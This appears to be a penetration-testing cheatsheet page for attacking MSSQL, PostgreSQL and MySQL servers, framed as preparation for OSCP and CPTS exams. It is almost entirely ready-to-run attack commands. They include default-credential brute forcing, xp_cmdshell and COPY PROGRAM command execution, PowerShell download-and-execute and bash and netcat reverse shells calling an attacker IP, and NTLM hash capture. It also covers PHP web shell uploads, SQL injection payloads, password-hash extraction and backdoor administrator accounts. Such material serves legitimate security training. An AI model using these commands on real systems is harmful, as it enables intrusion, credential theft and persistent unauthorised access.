Skip to content

Database Penetration Testing Comprehensive Cheatsheet

Overview

Database servers are critical infrastructure components storing sensitive data across multiple platforms. This cheatsheet covers systematic exploitation of MSSQL (1433), PostgreSQL (5432), MySQL (3306) through enumeration, authentication attacks, command execution, and post-exploitation techniques commonly encountered in OSCP, CPTS, and penetration testing scenarios.

Core Database Components

Critical Database Elements:

  • Authentication: Username/password combinations, Windows authentication, hash-based access
  • Privileges: User roles, administrative access, command execution capabilities
  • Configuration: Enabled features, file system access, dangerous stored procedures
  • Data Access: System databases, user tables, configuration exposure, credential extraction

Common Attack Vectors:

  • Default Credentials: sa/admin with blank or weak passwords
  • Command Execution: xp_cmdshell (MSSQL), COPY PROGRAM (PostgreSQL), INTO OUTFILE (MySQL)
  • File Operations: Reading configuration files, writing web shells, log analysis
  • Hash Extraction: Capturing NTLM hashes, password hash cracking

MSSQL (Microsoft SQL Server) - Port 1433

MSSQL Enumeration

Network Discovery

MSSQL Service Discovery

# Nmap comprehensive MSSQL scan
nmap -p 1433 --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info <target>

# Check for default credentials
nmap -p 1433 --script ms-sql-brute --script-args userdb=usernames.txt,passdb=passwords.txt <target>

# NetExec (CrackMapExec) authentication testing
nxc mssql <target> -u sa -p ''
nxc mssql <target> -u sa -p 'sa'
nxc mssql <target> -u admin -p 'admin'

MSSQL Connection Methods

Impacket mssqlclient.py

MSSQL Authentication Methods

# Standard SQL authentication
mssqlclient.py sa:password@<target>
mssqlclient.py -port 1433 sa:@<target>

# Windows authentication (domain credentials)
mssqlclient.py -windows-auth DOMAIN/username:password@<target>

# Hash-based authentication
mssqlclient.py -hashes lm:ntlm username@<target>

# Specify database
mssqlclient.py -db master sa:password@<target>

Connection Requirements

  • Valid credentials (SQL or Windows authentication)
  • Network connectivity to port 1433
  • For Windows auth: domain name or computer name

Alternative Connection Methods

Alternative MSSQL Clients

# sqsh (Linux SQL client)
sqsh -S <target> -U sa -P password
sqsh -S <target> -U .\\username -P password  # Local Windows account

# sqlcmd (Windows native client)
sqlcmd -S <target> -U sa -P password

MSSQL Information Gathering

Basic System Information

MSSQL System Enumeration

-- Version and server information
SELECT @@version;
SELECT @@servername;
SELECT SERVERPROPERTY('productversion');
SELECT SERVERPROPERTY('edition');

-- Current user and authentication
SELECT USER_NAME();
SELECT SYSTEM_USER;
SELECT ORIGINAL_LOGIN();

-- Check if current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');

Database and User Enumeration

MSSQL Database Discovery

-- List all databases
SELECT name FROM master.dbo.sysdatabases;
SELECT name FROM sys.databases;

-- List all users and logins
SELECT name FROM sys.server_principals WHERE type_desc = 'SQL_LOGIN';
SELECT name, type_desc FROM sys.database_principals;

-- Check user permissions
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');

Database Navigation Commands

MSSQL Navigation Essentials

-- Switch to specific database
USE master;
USE tempdb;

-- List tables in current database
SELECT * FROM information_schema.tables;
SELECT name FROM sys.tables;

-- Describe table structure
SELECT * FROM information_schema.columns WHERE table_name = 'users';
EXEC sp_columns 'users';

-- Sample data extraction
SELECT TOP 5 * FROM users;
SELECT username, password FROM users WHERE id = 1;

MSSQL Command Execution

xp_cmdshell Exploitation

MSSQL Command Execution via xp_cmdshell

-- Check if xp_cmdshell is enabled
EXEC xp_cmdshell 'whoami';

-- Enable xp_cmdshell if disabled
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

-- Execute system commands
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'dir C:\';
EXEC xp_cmdshell 'net user';
EXEC xp_cmdshell 'systeminfo';

-- PowerShell execution
EXEC xp_cmdshell 'powershell -Command "Get-Process"';
EXEC xp_cmdshell 'powershell -enc <base64_payload>';

Reverse Shell Generation

MSSQL Reverse Shell Commands

-- PowerShell reverse shell
EXEC xp_cmdshell 'powershell -Command "IEX(New-Object Net.WebClient).downloadString(''http://<attacker-ip>/shell.ps1'')"';

-- Netcat reverse shell (if nc.exe available)
EXEC xp_cmdshell 'C:\temp\nc.exe <attacker-ip> 4444 -e cmd.exe';

-- Download and execute payload
EXEC xp_cmdshell 'powershell -Command "wget http://<attacker-ip>/payload.exe -OutFile C:\temp\payload.exe; C:\temp\payload.exe"';

MSSQL Hash Capture

NTLM Hash Extraction

MSSQL NTLM Hash Capture

# Setup Responder or SMB server first
sudo responder -I tun0
# OR
impacket-smbserver share . -smb2support
-- Force NTLM authentication to capture hashes
EXEC master..xp_dirtree '\\<attacker-ip>\share';
EXEC master..xp_subdirs '\\<attacker-ip>\share';

-- Alternative methods
EXEC master..xp_fileexist '\\<attacker-ip>\share\file.txt';
SELECT * FROM OPENROWSET('SQLOLEDB','';'';'', 'SELECT 1; EXEC master..xp_dirtree "\\<attacker-ip>\share"');

MSSQL File Operations

File System Access

MSSQL File Reading and Writing

-- Read files using BULK INSERT
CREATE TABLE temp_file (data VARCHAR(8000));
BULK INSERT temp_file FROM 'C:\windows\win.ini';
SELECT * FROM temp_file;
DROP TABLE temp_file;

-- Read files using OPENROWSET
SELECT * FROM OPENROWSET(BULK 'C:\windows\win.ini', SINGLE_CLOB) AS x;

-- Write files using BCP
EXEC xp_cmdshell 'bcp "SELECT ''<?php system($_GET[cmd]); ?>''" queryout "C:\inetpub\wwwroot\shell.php" -c -T';

PostgreSQL - Port 5432

PostgreSQL Enumeration

Network Discovery

PostgreSQL Service Discovery

# Nmap PostgreSQL enumeration
nmap -p 5432 --script pgsql-brute <target>
nmap -p 5432 --script pgsql-databases --script-args pgsql.username=postgres <target>

# Default credential testing
psql -h <target> -U postgres
psql -h <target> -U postgres -d template1

PostgreSQL Connection Methods

psql Client Usage

PostgreSQL Authentication Methods

# Default connection attempts
psql -h <target> -U postgres
psql -h <target> -U postgres -d postgres

# Password authentication
PGPASSWORD=password psql -h <target> -U postgres
psql -h <target> -U username -d database

# Connection string format
psql "postgresql://username:password@<target>:5432/database"

PostgreSQL Information Gathering

System Information Discovery

PostgreSQL System Enumeration

-- Version and server information
SELECT version();
SELECT current_database();
SELECT current_user;
SELECT inet_server_addr();
SELECT inet_server_port();

-- Check superuser status
SELECT current_setting('is_superuser');
SELECT usesuper FROM pg_user WHERE usename = current_user;

Database Navigation Commands

PostgreSQL Navigation Essentials

-- List databases
\l
SELECT datname FROM pg_database;

-- Connect to database
\c database_name

-- List tables
\dt
SELECT table_name FROM information_schema.tables WHERE table_schema = 'public';

-- Describe table structure
\d table_name
\d+ table_name
SELECT column_name, data_type FROM information_schema.columns WHERE table_name = 'users';

-- List users and roles
\du
SELECT usename FROM pg_user;
SELECT rolname FROM pg_roles;

-- Sample data queries
SELECT * FROM users LIMIT 5;

PostgreSQL psql Commands

Use \? in psql for help with backslash commands and \h SELECT for SQL command help

PostgreSQL Command Execution

COPY PROGRAM Method

PostgreSQL Command Execution via COPY

-- Check if COPY PROGRAM is available (requires superuser)
SELECT current_setting('is_superuser');

-- Execute system commands
COPY (SELECT '') TO PROGRAM 'id';
COPY (SELECT '') TO PROGRAM 'whoami';
COPY (SELECT '') TO PROGRAM 'ls -la /';

-- Reverse shell
COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1"';

File System Operations

PostgreSQL File Access

-- Read files (superuser required)
SELECT pg_read_file('/etc/passwd');
SELECT pg_read_file('/var/lib/postgresql/data/postgresql.conf');

-- List directories
SELECT pg_ls_dir('/etc/');

-- File statistics
SELECT * FROM pg_stat_file('/etc/passwd');

-- Copy files
COPY (SELECT 'test content') TO '/tmp/test.txt';

PostgreSQL Large Objects

PostgreSQL Large Object File Operations

-- Import file as large object
SELECT lo_import('/etc/passwd');

-- Read large object (use OID from lo_import)
SELECT lo_get(16384);

-- Export large object to file
SELECT lo_export(16384, '/tmp/exported_file');

MySQL - Port 3306

MySQL Enumeration

Network Discovery

MySQL Service Discovery

# Nmap MySQL enumeration
nmap -p 3306 --script mysql-info <target>
nmap -p 3306 --script mysql-brute --script-args userdb=users.txt,passdb=passwords.txt <target>
nmap -p 3306 --script mysql-empty-password <target>

# Default credential testing
mysql -h <target> -u root
mysql -h <target> -u root -p
mysql -h <target> -u admin -padmin

MySQL Connection Methods

MySQL Authentication Methods

# Default connection attempts
mysql -h <target> -u root
mysql -h <target> -u root -p<password>

# Specify database
mysql -h <target> -u username -p<password> database

# Connection with specific port
mysql -h <target> -P 3306 -u username -p<password>

MySQL Information Gathering

System Information Discovery

MySQL System Enumeration

-- Version and server information
SELECT version();
SELECT @@version;
SELECT @@hostname;
SELECT user();
SELECT current_user();
SELECT database();

-- Server status and variables
SHOW STATUS;
SHOW VARIABLES;
SELECT @@datadir;

Database Navigation Commands

MySQL Navigation Essentials

-- List databases
SHOW DATABASES;
SELECT schema_name FROM information_schema.schemata;

-- Use database
USE database_name;

-- List tables
SHOW TABLES;
SELECT table_name FROM information_schema.tables WHERE table_schema = database();

-- Describe table structure
DESCRIBE table_name;
SHOW COLUMNS FROM table_name;
SELECT column_name FROM information_schema.columns WHERE table_name = 'users';

-- List users and privileges
SELECT user, host FROM mysql.user;
SELECT user, host, password FROM mysql.user;
SHOW GRANTS;

-- Sample queries
SELECT * FROM users LIMIT 5;

MySQL File Operations

File System Access

MySQL File Reading and Writing

-- Check file privileges
SELECT file_priv FROM mysql.user WHERE user = current_user();

-- Read files using LOAD_FILE()
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('/var/www/html/index.php');
SELECT LOAD_FILE('C:\\windows\\win.ini');

-- Write files using INTO OUTFILE
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
SELECT 'test content' INTO OUTFILE '/tmp/test.txt';

-- Write binary files using INTO DUMPFILE
SELECT '<binary_content>' INTO DUMPFILE '/var/www/html/shell.php';

File Operation Requirements

  • FILE privilege required for LOAD_FILE() and INTO OUTFILE
  • secure_file_priv setting may restrict file operations
  • Web directory write permissions needed for web shell uploads

MySQL User Defined Functions (UDF)

MySQL Command Execution via UDF

-- Check plugin directory
SELECT @@plugin_dir;

-- Upload UDF library (requires file write privileges)
SELECT '<compiled_udf_binary>' INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

-- Create function
CREATE FUNCTION sys_exec RETURNS STRING SONAME 'udf.so';

-- Execute system commands
SELECT sys_exec('whoami');
SELECT sys_exec('id');

Cross-Database Attack Techniques

SQL Injection Payloads

Universal Injection Tests

Database-Agnostic SQL Injection

-- Basic authentication bypass
' OR '1'='1
' OR 1=1--
' OR 1=1#
admin'--

-- Union-based information gathering
' UNION SELECT null,version(),null--
' UNION SELECT null,user(),null--
' UNION SELECT null,database(),null--

-- Comment variations
-- comment (standard)
/* comment */
/*!comment*/ (MySQL)

Time-Based Blind Injection

Time-Based Injection Payloads

-- MSSQL time delay
'; WAITFOR DELAY '00:00:05'--

-- PostgreSQL time delay
'; SELECT pg_sleep(5)--

-- MySQL time delay
'; SELECT sleep(5)--

Hash Formats and Cracking

Database Hash Identification

Hash Format Reference

MSSQL Hash Formats:

  • SQL Server 2000: 0x0100<32_hex_chars>
  • SQL Server 2005+: 0x0200<8_hex_chars><40_hex_chars>

PostgreSQL Hash Formats:

  • MD5: md5<32_hex_chars>
  • SCRAM-SHA-256: SCRAM-SHA-256$<iterations>:<salt>$<hash>

MySQL Hash Formats:

  • Old MySQL: <16_hex_chars>
  • New MySQL: *<40_hex_chars>

Hash Extraction Queries

Database Hash Extraction

-- MSSQL password hashes
SELECT name, password_hash FROM sys.sql_logins;

-- PostgreSQL password hashes (requires superuser)
SELECT rolname, rolpassword FROM pg_authid;

-- MySQL password hashes
SELECT user, password FROM mysql.user;
SELECT user, authentication_string FROM mysql.user; -- MySQL 5.7+

Post-Exploitation Techniques

Persistence Mechanisms

Database User Creation

Backdoor User Creation

-- MSSQL backdoor user
CREATE LOGIN backdoor WITH PASSWORD = 'password123';
EXEC sp_addsrvrolemember 'backdoor', 'sysadmin';

-- PostgreSQL backdoor user
CREATE USER backdoor WITH PASSWORD 'password123' SUPERUSER;

-- MySQL backdoor user
CREATE USER 'backdoor'@'%' IDENTIFIED BY 'password123';
GRANT ALL PRIVILEGES ON *.* TO 'backdoor'@'%';

Data Exfiltration

Efficient Data Extraction

Large Dataset Extraction

-- MSSQL paginated extraction
SELECT * FROM (
    SELECT ROW_NUMBER() OVER (ORDER BY id) AS row_num, *
    FROM sensitive_table
) AS numbered
WHERE row_num BETWEEN 1 AND 1000;

-- PostgreSQL limit/offset
SELECT * FROM sensitive_table LIMIT 1000 OFFSET 0;

-- MySQL limit extraction
SELECT * FROM sensitive_table LIMIT 0, 1000;

Attack Decision Matrix

Database Default Port Quick Win Commands File Access Hash Location
MSSQL 1433 xp_cmdshell 'whoami' BULK INSERT, BCP sys.sql_logins
PostgreSQL 5432 COPY (SELECT '') TO PROGRAM 'id' pg_read_file(), COPY pg_authid
MySQL 3306 UDF sys_exec() LOAD_FILE(), INTO OUTFILE mysql.user

Common Attack Scenarios

Scenario 1: MSSQL Default Credentials + Command Execution

Complete MSSQL Compromise Chain

# Step 1: Discover and connect
nmap -p 1433 --script ms-sql-empty-password <target>
mssqlclient.py sa:@<target>

# Step 2: Enable command execution
SQL> EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
SQL> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# Step 3: Execute commands
SQL> EXEC xp_cmdshell 'whoami';

# Step 4: Get reverse shell
SQL> EXEC xp_cmdshell 'powershell -Command "IEX(New-Object Net.WebClient).downloadString(''http://attacker/shell.ps1'')"';

Scenario 2: PostgreSQL Superuser File Operations

PostgreSQL File System Access Chain

# Step 1: Connect with default credentials
psql -h <target> -U postgres

# Step 2: Verify superuser status
postgres=# SELECT current_setting('is_superuser');

# Step 3: Read sensitive files
postgres=# SELECT pg_read_file('/etc/passwd');

# Step 4: Execute commands
postgres=# COPY (SELECT '') TO PROGRAM 'id';

# Step 5: Get reverse shell
postgres=# COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"';

Scenario 3: MySQL Web Shell Upload

MySQL File Upload Attack Chain

# Step 1: Connect to MySQL
mysql -h <target> -u root -p

# Step 2: Check file privileges
mysql> SELECT file_priv FROM mysql.user WHERE user = 'root';

# Step 3: Upload web shell
mysql> SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

# Step 4: Execute commands via web shell
curl "http://target/shell.php?cmd=whoami"

# Step 5: Upgrade to reverse shell
curl "http://target/shell.php?cmd=nc -e /bin/bash attacker 4444"

Tool Installation and Quick Setup

Essential Database Tools

Database Testing Tools Installation

# Impacket suite (includes mssqlclient.py)
pip3 install impacket

# PostgreSQL client
apt-get install postgresql-client

# MySQL client
apt-get install mysql-client

# NetExec (successor to CrackMapExec)
pip3 install netexec

# SQLmap for injection testing
apt-get install sqlmap

Quick Connection Testing Script

Database Connection Tester

#!/bin/bash
target=$1

echo "Testing MSSQL (1433)..."
mssqlclient.py sa:@$target 2>/dev/null && echo "MSSQL sa blank password!"

echo "Testing PostgreSQL (5432)..."
PGPASSWORD="" psql -h $target -U postgres -c "SELECT version();" 2>/dev/null && echo "PostgreSQL postgres blank password!"

echo "Testing MySQL (3306)..."
mysql -h $target -u root -e "SELECT version();" 2>/dev/null && echo "MySQL root blank password!"

This concise database cheatsheet focuses on the most common attack scenarios found in OSCP, CPTS, and real-world penetration testing engagements, providing immediately actionable commands and techniques for rapid database compromise.